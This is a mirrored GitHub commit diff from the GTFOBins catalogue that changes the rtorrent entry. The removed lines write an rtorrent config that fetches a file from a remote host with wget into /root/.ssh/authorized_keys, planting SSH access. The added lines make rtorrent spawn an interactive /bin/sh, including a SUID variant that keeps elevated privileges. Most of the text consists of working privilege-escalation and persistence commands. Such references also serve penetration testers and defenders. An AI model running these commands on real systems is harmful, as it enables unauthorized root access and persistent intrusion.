mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 06:19:27 +01:00
Make rtorrent a proper shell
This commit is contained in:
parent
3f4b4f3e24
commit
5519b3a825
@ -1,18 +1,11 @@
|
|||||||
---
|
---
|
||||||
description: a BitTorrent client for ncurses.
|
|
||||||
functions:
|
functions:
|
||||||
file-write:
|
shell:
|
||||||
- code: |
|
- code: |
|
||||||
cat >> ~/.rtorrent.rc <<EOF
|
echo "execute = /bin/sh,-c,\"/bin/sh <$(tty) >$(tty) 2>$(tty)\"" >~/.rtorrent.rc
|
||||||
execute.throw = mkdir,/root/.ssh
|
|
||||||
execute.throw = wget,http://$RHOST:$RPORT/$RFILE,-O,/root/.ssh/authorized_keys
|
|
||||||
EOF
|
|
||||||
rtorrent
|
rtorrent
|
||||||
suid:
|
suid:
|
||||||
- code: |
|
- code: |
|
||||||
cat >> ~/.rtorrent.rc <<EOF
|
echo "execute = /bin/sh,-p,-c,\"/bin/sh -p <$(tty) >$(tty) 2>$(tty)\"" >~/.rtorrent.rc
|
||||||
execute.throw = mkdir,/root/.ssh
|
|
||||||
execute.throw = wget,http://$RHOST:$RPORT/$RFILE,-O,/root/.ssh/authorized_keys
|
|
||||||
EOF
|
|
||||||
./rtorrent
|
./rtorrent
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user